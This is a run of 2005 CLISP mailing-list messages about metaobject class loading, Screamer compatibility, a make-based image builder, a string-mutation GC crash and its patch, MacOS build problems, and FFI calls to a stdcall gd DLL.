> > How to avoid it? Put the definitions of metaobject classes into a
> > separate file, and only ever load it once per session.
>
> this is an excessive requirement.
> the users will not like it.

The MOP specifies it.

> "once per session" contradicts the lisp idea that you restart your
> session only if something horrible happens.

Redefining metaclasses is something horrible. A thing that should be avoided.

Bruno



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Dan Corkill wrote:
> Two files:  si1.lisp with the metaobject class definition and :around
> method and
> si2.lisp with only the definition of class foo.

Yes, IMO that's the correct way to structure the source code.

> Now, even if the makesystem knows not to load si1 if it has been compiled
> in the image:

That's never a valid assumption. The compiler is allowed to execute
the DEFCLASS and DEFMACRO forms in a separate "compiler-only" environment
that is not seen in the normal EVAL-WHEN (EVAL LOAD) processing. Also,
your si1.lisp contains a DEFMETHOD form, which, like DEFUN, never has
an implicit EVAL-WHEN (COMPILE).

> [1]> (compile-file "si1")
> ;; Compiling file /home/cork/si1.lisp ...
> ;; Wrote file /home/cork/si1.fas
> 0 errors, 0 warnings
> #P"/home/cork/si1.fas" ;
> NIL ;
> NIL
> [2]> (compile-file "si2")
> ;; Compiling file /home/cork/si2.lisp ...
> ;; Wrote file /home/cork/si2.fas
> 0 errors, 0 warnings
> #P"/home/cork/si2.fas" ;
> NIL ;
> NIL
> [3]> (load "si2")
> ;; Loading file /home/cork/si2.fas ...
> ;; Loaded file /home/cork/si2.fas
> T

Invalid: You cannot load si2 before having loaded si1. You really need
two process invocations:

  $ clisp -q
  [1]> (compile-file "si1")

  $ clisp -q
  [1]> (load "si1")
  [2]> (compile-file "si2")
  [3]> (load "si2")

Bruno



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Date: Mon Jun 13 09:11:54 2005
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Hi,

Bruno Haible wrote:
>Invalid: You cannot load si2 before having loaded si1.
>You really need two process invocations:
>  $ clisp -q
>  [1]> (compile-file "si1")
>
>  $ clisp -q
>  [1]> (load "si1")
>  [2]> (compile-file "si2")
>  [3]> (load "si2")

While it may seem useful to point at the MOP to defend this =
recommendation (obligation), such argumentation is IMHO pointless in =
practice.

Practice will be that
1. some libraries like cl-sql do defclass+metaclasse+load don't do that
2. make system utilities (neither mk nor asdf) are not prepared for =
restarting the Lisp to continue compilation
3. cl-sql users will expect code to work out of the box
4. developers will be unlikely to support deviant behaviour from the =
particular CLISP implementation.

It remembers me of the ext:*keyboard-input* from the SCREEN package, =
which has been specified as causing the console to become input only =
for the extent of with-keyboard-input.
On UNIX, people saw that output to *terminal-io* still worked. So they =
(or the package they ported) used it (IIRC, punimax was/is such a =
package).
[Actually, I may remember incorrectly, and input from *terminal-io* was =
(has always been?) forbidden by impnotes, not output, but that changes =
nothing to the lesson.]
On the Amiga, this failed (IIRC, the UNIX implementation would switch =
back *terminal-io* from raw to cooked mode automatically and back again =
to raw mode for *keyboard-input*).
Do you really believe that I was successful at pointing people to the =
clisp impnotes which clearly showed that their code was illegal =
according to impnotes??

Usually, if "it works for me", people will ignore the impnotes & =
specification.

Regards,
	J=C3=B6rg H=C3=B6hle.


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Date: Tue Jun 14 07:29:50 2005
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Hi,

did anybody use the Screamer package with clisp>2.33.2?
I have from Ubuntu/Debian on Linux/386 the packages cl-screamer =
3.24.2-1 and clisp-2.33.2
Screamer loads fine with these.

However, when I use the clisp I built from CVS, I get an error message
"special-operator-p (setf variable-value) is not a symbol"
which cleary shows that Screamer does not recognize clisp's special
((setf foo) zot bar) syntax as a result of
(macroexpand '(setf (foo bar) zot))

Which is somewhat surprising, since this "(setf foo) is a function name =
in all aspects in CLISP" behaviour is not new to version >2.33.2. It's =
quite old in CLISP.

What maybe new is that it's only in clisp>2.33.2 that the above =
expansion takes place as shown above. In an older one (2.33.2), =
macroexpand is less clever, and one gets
(let ((#:g123 bar)) ((setf foo) zot #:g123))
[for more complex situations, e.g. (setf (foo (bar)) (zot)), one still =
gets that form -- order of evaluation is not broken]

Maybe that change is enough to cause Screamer to fail -- still it's =
surprising that it did not fail before.

Probably Screamer need be taught about how to handle (setf foo), like I =
had to do for the Iterate package (I haven't yet found the =
corresponding place in the code).

Regards,
	J=C3=B6rg H=C3=B6hle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-06-14 16:28:18 +0200]:
>
> "special-operator-p (setf variable-value) is not a symbol"
I fixed screamer.
thanks.
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I have created a new system for building custom CLISP memory images and
executables, similar to the functionality of ``clisp-link
add-module-set''.

I didn't write it in Lisp, sorry!

The new system comes in the form of a single GNU make include file,
which handles everything through proper dependencies and very little
shell script hacking.

No symbolic links are used anywhere: all compiling and linking is done
using full and relative paths.

Proper dependencies are set up between all the pieces. 

The rules handle invoking the compiler to get the FFI definitions
translated, compiling all the .lisp files to .fas (the ones going into
the lispinit.mem).

Two-step memory image boostrapping is supported, analogous to the
TO_PRELOAD mechanism in clisp-link, so call-in references to packaged 
functions can be handled.

Libraries and CFLAGS are pulled out of the makevars file in the
source linking set, and converted into a proper make include file, in
which they appear as target-specific variable assignments.

The makefile is namespace-clean: multiple, independent instantiations
of the rules in the same make process should be possible.

So now, it's super easy to add a custom CLISP to an exiting
makefile-based project. No special directory structure to set up. No
symbolic links. No awkward scripts to invoke, nothing. Plus if you mess
with anything, the dependencies take care of rebuilding what is needed.

Just set up a bunch of variables in your makefile, include clink.mk,
hook the targets into your dependencies and you're done.

What is not done: the output is not a complete CLISP linking set that can
be used as an input to create more linking sets. It doesn't contain a
makevars, and it doesn't contain the archives that it was built from. Just
the lisp.run and lispinit.mem! (But in practice, people usually just care
about doing one step: take the stock thing and add the FFI stuff for their
application).

Get it now:  http://users.footprints.net/~kaz/clink-0.1.tar.gz

This archive includes the clink.mk as part of a tiny working sample
project.

Please try, discuss, change, improve ...

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Sam Steingold wrote:
>I fixed screamer.
Great!

What's the relationship with
http://clocc.sourceforge.net/clocc/src/screamer/
It does not show the new code, while the CVS viewer does.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-06-15 12:41:03 +0200]:
>
> What's the relationship with
> http://clocc.sourceforge.net/clocc/src/screamer/
> It does not show the new code, while the CVS viewer does.

there should be a cron job with "cvs up".
please complain to Stefan Kain.

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Date: Wed Jun 15 09:47:21 2005
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[taken from clisp-devel to clisp-lisp, where IMHO it'S a better fit]

Bruno Haible wrote:
>I think that doc strings with just 1 to 3 lines of text are an =
obsolete
>concept. It doesn't convey enough information. Better use URLs into =
the
>ANSI CL doc or into clisp's impnotes.html. So that SLIME can then mark
>them clickable.
You've been splitting your screen with one half for Netscape for too =
long :)
I don't need to look up the CLHS when all I need is a remainder of the =
syntax of do-symbols. Packages to point to http information have been =
around for long enough.
Even CLISP has a clhs file as part of its core.

I had a related idea:
a separate file would
(dolist
  (setf (documentation <cl-symbols>) xyz)
to point to a user-defined location, i.e. a local copy of the CLHS or =
impnotes or so.

The user could run this as part of his config.lisp,
or the function could even be run anytime the user sees fit (i.e. be =
part of the image, instead of being loaded once and then thrown away, =
like the timezone.lisp file).

Another variation on this could be for DOCUMENTATION to build the =
string at call-time??

Anyway, if such a mapping were included in the clisp image, I could =
make slime display that in apropos in addition to the documentation =
string (if available).
Well, slime or hyperspec.el probably have independent means for that, =
so CLHS support need not be built into clisp itself. It's EXT symbols =
that need documentation.

Actually, gclcvs annoys me by pulling CLHS information from its info =
file into the Lisp session. Even more so when it deviates from CLHS (or =
does not yet fully implement ANSI).


But that idea is most suitable to CLHS symbols. Symbols from EXT would =
need to know about where to find the best-fitted impnotes. Some people =
prefer the split version, others the full one. =
http://clisp.cons.org/impnotes/... would not work from behind a =
firewall, or offline.

Summary: I see a trivial possibility to add documentation URLs for CLHS =
symbols (CLISP already has all that' needed), but somehow harder for =
symbols from EXT (yet the same idea could apply, if one knows where to =
link to).

Regards,
	J=C3=B6rg H=C3=B6hle.


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Sam Steingold writes:
 > 
 > (compile nil (lambda (z) (cond ((numberp z) (sin z)) (t ))))
 > 
 > #<COMPILED-FUNCTION NIL> ;
 > NIL ;
 > NIL
 > 
 > could you please extract an isolated test case?

sorry, until now I wasn't able to produce a simpler test case. I'll
work on it in the next few days.


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If quit working on a Win32 GUI library, actually it just simply
connects the API to lisp through FFI, nothing too complicated.=20
Anyway, if anybody wants to continue the project or have any questions
on how they can create their own system you may ask me.  I didn't get
too far with the Win32 widget creation set, but it is more code than
zero.

You can find out more about the project here.  I used open tools for
compiling on Windows so you don't need to purchase anything.

http://www.newspiritcompany.com/retroevolution/widget_toolkit/widget.htm

Latest source release.

http://www.newspiritcompany.com/src/Widget-0.1.b57-050505-0802.zip

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Date: Thu Jun 16 11:08:34 2005
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Berlin Brown schrieb:
> If quit working on a Win32 GUI library, actually it just simply
> connects the API to lisp through FFI, nothing too complicated. 
> Anyway, if anybody wants to continue the project or have any questions
> on how they can create their own system you may ask me.  I didn't get
> too far with the Win32 widget creation set, but it is more code than
> zero.

May I ask why did you quit?

I tried to download the src for some time, but your server were down. 
Thanks for the update!

>  You can find out more about the project here.  I used open tools for
> compiling on Windows so you don't need to purchase anything.
> 
> http://www.newspiritcompany.com/retroevolution/widget_toolkit/widget.htm
> 
> Latest source release.
> 
> http://www.newspiritcompany.com/src/Widget-0.1.b57-050505-0802.zip
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I don't know why I quit, my focus moved away from Lisp.

I changed servers from retroevolution.com to
newspiritcompany.com


On 6/16/05, Reini Urban <rurban@x-ray.at> wrote:
> Berlin Brown schrieb:
> > If quit working on a Win32 GUI library, actually it just simply
> > connects the API to lisp through FFI, nothing too complicated.
> > Anyway, if anybody wants to continue the project or have any questions
> > on how they can create their own system you may ask me.  I didn't get
> > too far with the Win32 widget creation set, but it is more code than
> > zero.
>=20
> May I ask why did you quit?
>=20
> I tried to download the src for some time, but your server were down.
> Thanks for the update!
>=20
> >  You can find out more about the project here.  I used open tools for
> > compiling on Windows so you don't need to purchase anything.
> >
> > http://www.newspiritcompany.com/retroevolution/widget_toolkit/widget.ht=
m
> >
> > Latest source release.
> >
> > http://www.newspiritcompany.com/src/Widget-0.1.b57-050505-0802.zip
> --
> Reini Urban
> http://xarch.tu-graz.ac.at/home/rurban/
> http://phpwiki.org/
>


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Changing the subject a bit, does anyone know if is there any work going=20
on towards writing a kind of wrapper to the wxWidgets library ?! I can=20
think of a few good reasons to write a 'wxClisp wrapper' (similar to=20
wxPython):

- wxWidgets is open-source;
- It's a cross-platform GUI;
- Provides a relative easy way to write a graphical application

Maybe I could start doing something like this (although I am a lisp=20
newbie) if someone demonstrates interest in using it.

Regards
Andr=E9 V. Abs da Cruz

Berlin Brown wrote:

>I don't know why I quit, my focus moved away from Lisp.
>
>I changed servers from retroevolution.com to
>newspiritcompany.com
>
>
>On 6/16/05, Reini Urban <rurban@x-ray.at> wrote:
> =20
>
>>Berlin Brown schrieb:
>>   =20
>>
>>>If quit working on a Win32 GUI library, actually it just simply
>>>connects the API to lisp through FFI, nothing too complicated.
>>>Anyway, if anybody wants to continue the project or have any questions
>>>on how they can create their own system you may ask me.  I didn't get
>>>too far with the Win32 widget creation set, but it is more code than
>>>zero.
>>>     =20
>>>
>>May I ask why did you quit?
>>
>>I tried to download the src for some time, but your server were down.
>>Thanks for the update!
>>
>>   =20
>>
>>> You can find out more about the project here.  I used open tools for
>>>compiling on Windows so you don't need to purchase anything.
>>>
>>>http://www.newspiritcompany.com/retroevolution/widget_toolkit/widget.h=
tm
>>>
>>>Latest source release.
>>>
>>>http://www.newspiritcompany.com/src/Widget-0.1.b57-050505-0802.zip
>>>     =20
>>>
>>--
>>Reini Urban
>>http://xarch.tu-graz.ac.at/home/rurban/
>>http://phpwiki.org/
>>
>>   =20
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And don't forget, it is strongly confidencial!!!
	Seya, man.

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Hello,
If I run the following code on Windows XP, clisp implementation:  "2.33
(2004-03-17) (built on winsteingoldlap [192.168.1.101])"

[1]> (let ((string (make-string 10000 :initial-element #\a)))
  (setf  (aref string 0) (code-char 1000)))

#\COPTIC_CAPITAL_LETTER_HORI
[2]> (gc)

*** - handle_fault error2 ! address = 0x1a4ec5b4 not in
[0x19d70000,0x19e658a4) !
SIGSEGV cannot be cured. Fault address = 0x1a4ec5b4.

clisp crashes.

The same happens on Linux (Linux linux 2.4.21-99-default #1 Wed Sep 24
13:30:51 UTC 2003 i686 i686 i386 GNU/Linux)
clisp implementation: "2.33.2 (2004-06-02) (built 3313963525) (memory
3313963906)"


If the initial element of the string #\a is replaced by (code-char 1000),
then on Linux and Windows there is no crash.

To reproduce the crash, you might have to increase the initial size of the
string.
I compiled clisp with debug support on Linux and 
when executing

(let ((string (make-string 10000 :initial-element #\a ))) 
  (setf (aref string 0) (code-char 1000)))

in File in function reallocate_small_string in file spvw_typealloc.d
the following assertion failed (at the bottom of the function):
 #ifdef DEBUG_SPVW
  if (size != objsize(ThePointer(mutated_string))) abort();
 #endif

Roland

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> *  <ebynaq.nirexnzc@tzk.qr> [2005-06-20 22:48:56 +0200]:
>
> (2004-03-17) (built on winsteingoldlap [192.168.1.101])"

this has been far too long ago :-)
I cannot reproduce this with the current CVS head - could you please try
that?

thanks!


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Hi,

Sam Steingold wrote:
>> (2004-03-17) (built on winsteingoldlap [192.168.1.101])"
>this has been far too long ago :-)
>I cannot reproduce this with the current CVS head - could you 
>please try that?

Roland Averkamp wrote:
>The same happens on Linux (Linux linux 2.4.21-99-default #1 Wed Sep 24
>13:30:51 UTC 2003 i686 i686 i386 GNU/Linux)
>clisp implementation: "2.33.2 (2004-06-02) (built 3313963525) (memory
>3313963906)">

clisp-2.33.2 is what one gets on a Ubuntu/Hoary/Debian distribution. It's not really that old (counted in release cycles of CLISP :).
Indeed, it crashes.
CLISP from CVS does not crash on that, which is not surprising, since the mutable strings (going from a 8-bit byte representation to a 16 or 32-bit wide one, required for (code-char 1000) has received several bug fixes.

A work-around for you may be to replace make-string with make-array :element-type 'character, which allocates 32-bit wide character arrays right from the start, so no mutation will happen.

Or download one of those clisp-2.33.83 binaries, I'd expect them to be ok as well.

Regards,
	Jorg Hohle.


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Date: Tue Jun 21 13:57:28 2005
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The clisp version on Linux was 2.33.2 which is the current official release.
But it seems that the function spvw_typealloc.d has changed in the mean
time.

I checked out the CVS head and tried to build clisp on linux,
but I got an error:

charstrg.d: In function `coerce_char':
charstrg.d:1251: error: structure has no member named `S_input_character'
charstrg.d:1253: error: structure has no member named
`S_input_character_char'
make: *** [charstrg.o] Error 1

I guess there is a simple explanation for this, but I do not know it.


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> * Roland Averkamp <ebynaq.nirexnzc@tzk.qr> [2005-06-21 22:55:57 +0200]:
>
> The clisp version on Linux was 2.33.2 which is the current official release.
> But it seems that the function spvw_typealloc.d has changed in the mean
> time.
>
> I checked out the CVS head and tried to build clisp on linux,
> but I got an error:
>
> charstrg.d: In function `coerce_char':
> charstrg.d:1251: error: structure has no member named `S_input_character'
> charstrg.d:1253: error: structure has no member named
> `S_input_character_char'
> make: *** [charstrg.o] Error 1

thanks for the bug report - please try this patch:

--- charstrg.d	21 Jun 2005 09:39:52 -0400	1.116
+++ charstrg.d	21 Jun 2005 17:15:14 -0400	
@@ -1248,11 +1248,14 @@
     if (code < char_code_limit)
       /* obj is a fixnum >=0, < char_code_limit */
       return code_char(as_chart(code));
-  } else if (typep_classname(obj,S(input_character))) {
+  }
+#if defined(KEYBOARD)
+  else if (typep_classname(obj,S(input_character))) {
     /* obj is an INPUT-CHARACTER. Call (SYS::INPUT-CHARACTER-CHAR obj): */
     pushSTACK(obj); funcall(S(input_character_char),1);
     return charp(value1) ? value1 : NIL;
   }
+#endif
   /* was none of it -> can not be converted into a character */
   return NIL; /* NIL as result */
 }


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thanks,
with the patch the build was succesfull.
And this version does not have the gc bug anymore.

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Hello,
 I am trying to learn how to use ffi on windows using clisp. The spec says
that I need to use a program called "clisp-link" but there is no such program
in my clisp distribution. I am using version 2.33.2, how can I generate
clisp-link or where do I download it?

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PPC MacOS 10.4 clisp-2.33.2 fails to compile,
both pure out-of-the-box and DarwinPorts clisp.
Two bugs are revealed and a workaround is presented.

Bug #1
undefined symbols in streams.c
	rl_basic_quote_characters
	rl_gnu_readline_p
undefined symbols at link time
	_META
	_history_list
	_rl_basic_quote_characters
	_rl_gnu_readline_p
	_rl_named_function
	_rl_refresh_line
	_rl_variable_bind
Perhaps HAVE_READLINE is wrongly defined
because ./configure is confused about readline?

Bug #2
makemake --with-noreadline
Fails to specify CFLAGS with -DNO_READLINE
perhaps it should also undef HAVE_READLINE?

Workaround
Build as directed in unix/INSTALL
and the unix/PLATFORMS MacOS section
but after ./makemake and before make,
add -DNO_READLINE to the CFLAGS variable
in the automatically generated Makefile
despite the "do not edit" warning there.

		Peace
			--Devon

PS: out-of-the-box libsigsegv also fails to compile
but if you don't mind the risk of some third party
package mangler botching your MacOS, in Terminal ...

$ sudo bash
# cvs -d :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od login
# cvs -d :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od co -P darwinports
# cd darwinports/base
# ./configure
# make
# make install
# port selfupdate
# port install libsigsegv
# port install readline
# port install clisp

... should work but is slow and broken.
If you get it to work, please tell how.


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Hello Lester,

>You may just need to type ``make clisp-link'' in the clisp src directory. 
>Also keep in mind that if you follow the FFI examples, such as example 30.10 
>at the link below, all you need to do is specify a shared library, either 
>.so or .dll depending on your platform. In a certain sense the dynamic 
>library approach is simpler and doesn't require clisp-link since your 
>application code will be loaded from the shared library at run time.
>
>http://clisp.cons.org/impnotes.html#dffi-examples
>

  Thanks for your help. I was using binary version of clisp, so I cannot build
clisp-link, so I am trying to follow the shared library at run time approach.


I wrote this small piece of code trying to imitate the examples given in the
book.

(USE-PACKAGE "FFI")

(def-c-var gdMaxColors (:type int))
 

But I get an error, what am I missing here? The backtrace is below. 




Incomplete FFI type INT is not allowed here.
   [Condition of type SIMPLE-ERROR]

Restarts:
  0: [ABORT] Abort handling SLIME request.

Backtrace:
  0: frame binding variables (~ = dynamically):
  | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL
  1: EVAL frame for form (PARSE-C-TYPE 'INT)
  2: EVAL frame for form (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" (PARSE-C-TYPE 'INT))
  3: EVAL frame for form (LOAD-TIME-VALUE (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" (PARSE-C-TYPE 'INT)))
  4: EVAL frame for form (SYSTEM::%PUT 'GDMAXCOLORS 'FOREIGN-VARIABLE (LOAD-TIME-VALUE (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" (PARSE-C-TYPE 'INT))))

Thanks in advance.
-- 
Surendra Singhi
http://www.public.asu.edu/~sksinghi/index.htm

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And thin partitions do their bounds divide.

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Date: Sun Jun 26 11:54:10 2005
X-Original-Date: Sun, 26 Jun 2005 11:51:16 -0700

Hello Lester,
  Thanks once again.

"Lester Vecsey" <lvecsey@nyc.rr.com> wrote:
>Surendra,
>
>Here is some more info on beginning with the clisp FFI, along with a 
>followup question for more experienced FFI lispers down below.
>
>gdMaxColors is listed in gd.h as a define statement, so it isn't an actual 
>variable in the shared library. You'll have to just do (defvar gdMaxColors 
>256)

I knew that, I was just trying to experiment with the creation of variables 
>> (def-c-var gdMaxColors (:type int))
But it seems I have to refer to the dll somehow while creating this variable.


>
>Here is a quick run down of how you might go about using a shared library 
>such as gd, with the CLISP FFI:
>
Thanks, I have that bookmarked, and I am trying to follow that closely.

>Here are the beginnings of calling gdImageCreate, as layed out in the gd 
>basic usage example: http://www.boutell.com/gd/manual2.0.33.html#basics
>
>(ffi:def-call-out gd-image-create
>    (:name "gdImageCreate")
>  (:library "/code/gdwin32/bgd.dll")
>    (:arguments (number ffi:int) (number ffi:int))
>  (:return-type (ffi:c-ptr gdImage))
>  (:language :stdc))

Like you mentioned below, this does not work for me either.

>
>(ffi:def-call-out sleep-test
>    (:name "Sleep")
>    (:library "kernel32.dll")
>    (:arguments (number ffi:uint32))
>    (:language :stdc))
>
This works fine.

>(defvar *gd-result* (gd-image-create 64 64))
>
>*gd-result*
>--
>
>Actually, on my system it couldn't pick out the gdImageCreate function from 
>the .dll which I believe is related to the function having been compiled 
>with a definition in gd.h like this:
>
>    #define BGD_DECLARE(rt) __declspec(dllexport) rt __stdcall
>    BGD_DECLARE(gdImagePtr) gdImageCreate (int sx, int sy);
>
>Its the __stdcall that causes a blow up, I believe.
>
>I noticed the same thing when calling a WndProc function defined as LRESULT 
>CALLBACK WndProc(...), which worked like a charm once I took the keyword 
>CALLBACK out of there, the CALLBACK being equivalent to __stdcall, or 
>__stdcall__.
>
>Adjusting the def-call-out :language setting didn't seem to make a 
>difference. Does anyone know how to account for __stdcall? 

Even I am interested in knowing how to make this work. Does anyone knows how
to? 
Also, Lester your mails are not getting posted in the newsgroup, you are only
sending them to me.

>I suppose if 
>theres no response the Boutell GD library, bgd.dll, could be recompiled 
>without __stdcall statements. Its just a small define change in gd.h. Then 
>you could make more progress with getting some of the basic functions 
>returning meaningful results.
>
>I retrieved the precompiled bgd.dll with the __stdcall items in it from 
>here: http://www.boutell.com/gd/http/gdwin32.zip
>

>I put in the sleep-test above to show that at least that function works, 
>i.e., (sleep 1000) will pause for a second, as also described at the 
>articles below. The true callback / __stdcall problems seem to be with 
>WndProc, and the pre-built bgd dll, etc. I read at one of these message 
>articles that stdcall support was being considered for removal, about to be 
>removed and/or perhaps that it never worked or there was no apparent need 
>for it.
>
>Here are some more links on this particular stdcall question:
>http://sourceforge.net/mailarchive/message.php?msg_id=1474483
>http://sourceforge.net/mailarchive/message.php?msg_id=1474483
>
>>
>> Hello Lester,
>>
>>>You may just need to type ``make clisp-link'' in the clisp src directory.
>>>Also keep in mind that if you follow the FFI examples, such as example 
>>>30.10
>>>at the link below, all you need to do is specify a shared library, either
>>>.so or .dll depending on your platform. In a certain sense the dynamic
>>>library approach is simpler and doesn't require clisp-link since your
>>>application code will be loaded from the shared library at run time.
>>>
>>>http://clisp.cons.org/impnotes.html#dffi-examples
>>>
>>
>>  Thanks for your help. I was using binary version of clisp, so I cannot 
>> build
>> clisp-link, so I am trying to follow the shared library at run time 
>> approach.
>>
>>
>> I wrote this small piece of code trying to imitate the examples given in 
>> the
>> book.
>>
>> (USE-PACKAGE "FFI")
>>
>> (def-c-var gdMaxColors (:type int))
>>
>>
>> But I get an error, what am I missing here? The backtrace is below.
>>
>> Incomplete FFI type INT is not allowed here.
>>   [Condition of type SIMPLE-ERROR]
>>
>> Restarts:
>>  0: [ABORT] Abort handling SLIME request.
>>
>> Backtrace:
>>  0: frame binding variables (~ = dynamically):
>>  | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL
>>  1: EVAL frame for form (PARSE-C-TYPE 'INT)
>>  2: EVAL frame for form (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" 
>> (PARSE-C-TYPE 'INT))
>>  3: EVAL frame for form (LOAD-TIME-VALUE (FFI::LOOKUP-FOREIGN-VARIABLE 
>> '"gdmaxcolors" (PARSE-C-TYPE 'INT)))
>>  4: EVAL frame for form (SYSTEM::%PUT 'GDMAXCOLORS 'FOREIGN-VARIABLE 
>> (LOAD-TIME-VALUE (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" 
>> (PARSE-C-TYPE 'INT))))
>>


-- 
Surendra Singhi
http://www.public.asu.edu/~sksinghi/index.htm

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And thin partitions do their bounds divide.

   (John Dryden, Absalom and Achitophel, 1681)



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Date: Mon Jun 27 04:40:36 2005
X-Original-Date: Mon, 27 Jun 2005 13:38:53 +0200

Hi,

Surendra Singhi wrote:
>Also, Lester your mails are not getting posted in the newsgroup, you =
are only
>sending them to me.
Same here, I can only see Surendra's replies in clisp-list. Please use =
the mailing list so users can help you.


> (def-c-var gdMaxColors (:type int))
>But it seems I have to refer to the dll somehow while creating this =
variable.
a) Indeed, you need to add (:library "gd...dll") here.

b) "Incomplete FFI type INT is not allowed here."
  Did you get past that error? It looks like a package problem.
  Maybe (not (eq 'int 'ffi:int)) ?
  The above error is equal to "unknown FFI type `INT'", which is =
surprising, since the FFI knows about ffi:int.


Since you're trying and using GD, do you know about Carlos Ungil's port =
of cl-gd to CLISP (i.e. using the CLISP FFI instead of UFFI)? (I've =
never tried it myself, so I don't know whether this only works on =
UNIX).


>  (:return-type (ffi:c-ptr gdImage))
This is likely wrong. Please use either (c-pointer gdImage) or =
c-pointer. It's unlikely that you want to convert the foreign pointer =
to a Lisp structure, which is what C-PTR does. I'd bet you need to keep =
the original pointer, so as to be able to pass this handle (aka. proxy =
or reference) to other gd functions.


[stdcall issue]
>The true callback / __stdcall problems seem to be with=20
>WndProc, and the pre-built bgd dll, etc.
What is WndProc?

>>Here are some more links on this particular stdcall question:
>>http://sourceforge.net/mailarchive/message.php?msg_id=3D1474483
>>http://sourceforge.net/mailarchive/message.php?msg_id=3D1474483

Basically, the stdcall support in CLISP has remained where it was in =
2002 (and before), because a) nobody except Roger Corman explained to =
me what difference it makes, b) nobody came up with an example where =
these declarations made a difference and c) nobody complained (and d) =
my time is limited etc.) so I stopped investigating that issue.
So now, it looks like you found a place where you'd need this =
support?!?

Could you please summarize your findings, since they are a little bit =
hard to follow from the e-mails so far. It looks like you've found out =
that:

1. clisp does not work with Boutell's original gd.dll?
  A) what are the precise symptoms (crash, "not found" error, other)?
2. This is due to the gd.dll being compiled with stdcall declarations.
  B) Did you try (:language :stdc-stdcall) in the def-call-out =
declaration?

3. A self-compiled gd.dll with stdcall removed works in a few functions =
with CLISP(?)
  B) what functions?
  C) which ones don't work?

>>Adjusting the def-call-out :language setting didn't seem to make a=20
>>difference. Does anyone know how to account for __stdcall?=20
>Even I am interested in knowing how to make this work. Does anyone =
knows how
>to?=20
May I suggest
step 1: create declarations & code that provably work with the =
self-compiled non-stdcall library
step 2: test that with (:language :stdc-stdcall) with the second =
library
Isn't that what you've already done? What are the findings?

Probably you'll detect some need for changes in CLISP. Things can be =
changed, once we know what to change.

Regards,
	J=F6rg H=F6hle.


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Hi,

here are some findings of my own, testing Boutell's bgd.dll on MS-Windows 2=
k.

o The ilbrary does not seem to contain gdImageCreate but rather gdImageCrea=
te@8.
I.e. stdcall seems to cause some name mangling, adding the number of bytes =
passed on the stack to the name.

o def-call-out does not accept (:name "foo@8")
ERROR "The name "gdImageCreate@8" is not a valid C identifier"
but the lower-level functions do. Use macroexpand to see which I mean

The most important line is (using :stdc-stdcall).
(SYSTEM::%PUTD 'GD-IMAGE-CREATE
   (FFI::FOREIGN-LIBRARY-FUNCTION '"gdImageCreate@8" ; added @8 by hand
    (FFI::FOREIGN-LIBRARY "bgd.dll") NIL
    #(C-FUNCTION C-POINTER #(INT 0 INT 0) 33792)))

o Apart this naming issue, I still found no operational difference between =
:language :stdc-stdcall and :stdc. (I'll have to check the ffcall etc. sour=
ces to see what they do).

Both :language variants create the following stucture, where both sx and sy=
 are found in the correct slot:

CL-GD> (gd-image-create 201 101)
#<FOREIGN-ADDRESS #x01A7CEB0>
CL-GD> (setq bar *)
#<FOREIGN-ADDRESS #x01A7CEB0>
CL-GD> (with-c-var (x '(c-ptr gd-image)) (setf (cast x 'c-pointer) bar) x)
#S(GD-IMAGE :PIXELS #<FOREIGN-ADDRESS #x01A7EB28> :SX 201 :SY 101 ; correct=

   :COLORS-TOTAL 0
   :RED
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o Carlos Ungil's cl-gd contains a few bugs
 - it should not include in the struct the private fields below AA -- my gd=
.h of 2.0.33 contains fewer fields than the Lisp file, which may cause cras=
hes.
 - create-image-from-file has the typical error about places as values, cau=
sing it to always have err 0, i.e. not detect an error.
I believe it's never been tested on MS-Windows (I forgot how I came to that=
 conclusion).

It would also benefit from (c-pointer foo) return and slot types, which pro=
bably were not in CLISP at the time Carlos did hiw work.

So what's left?
 - still I don't know what stdcall does -- beside that name mangling.
 - that name mangling could be added to the CLISP FFI, if I find a specific=
ation of it (it looks like "add @sizeof(append arguments)" but who knows?).=


Regards,
=09J=F6rg H=F6hle.


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Hi,

Roger Corman said on the topic of name mangling (back in 2003), aka. =
"decoration":
>You could try to make it easier by doing his automatically, but you =
don't
>in general know what name mangling scheme was used (if any was used). =
DLLs
>may have been generated by different compilers. In Corman Lisp FFI I =
ignore
>it and let the user worry about it. If they call a mangled name, they =
have
>to explicitly specify that name. Nobody has complained, probably =
because
>most exported functions do not have mangled names (if they support a C
>interface anyway).
>The Microsoft C++ compiler automatically does the name mangling unless =
you tell it otherwise.
>This is to catch problems (incorrect declarations) at link time rather =
than run time.
>However, you can disable it when you build (link) a DLL by including a =
.def file,
>with the names explicitly listed.=20
>Microsoft does this for all their system DLLs. The names are not =
mangled.

Uhoh, it means there are libraries around with mangled names and others =
without ...

I bet this kills portable-among-implementations packages like cl-gd, =
unless it uses some macros like (with-name-mangling-of-type foo do...)


Roger also writes:
>Sometimes if you use the wrong linkage you won't notice, because (a) =
if
>there are no parameters it makes no difference (b) even if there are
>parameters, usually exiting a function cleans up the stack properly. =
If
>something is linked with __cdecl (C conventions) and you call it with
>__stdcall, nobody cleans the stack. This might work, as long as you
>don't do it in a big loop, and you don't embed the call in another =
call=20
>i.e. foo(bar(x, y), z).

I think it means that one should not see problems with it in CLISP -- =
except when callbacks are involved, where the foreign land will be =
responsible for cleaning the stack. For direct calls, stack clean up at =
exit of clisp' invoke-foreign-function() function will prevent both the =
loop accumulation or embeded scenarios, since clisp does not compile to =
native code.

So what's left:
 - stdcall is the correct declaration for bgd.dll, according to =
Boutell'd docs.
 - for FFI purposes, that library would have been more useful as cdecl.
 - remove the "@" check code from def-call-out. @ is acceptable in the =
C names, at least on MS-Windows.
 - let users handle name mangling or
 - still try to provide some generic rule, so that packages like cl-gd =
can be written with some hope for portability??
 - ???

Regards,
	J=F6rg H=F6hle.


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> * Lin Jingxian <ppxx_yva@lnubb.vr> [2005-06-28 18:02:12 +0800]:
>
>   every time I run clisp, I got the following output,
>
> ==================== cut here =============================
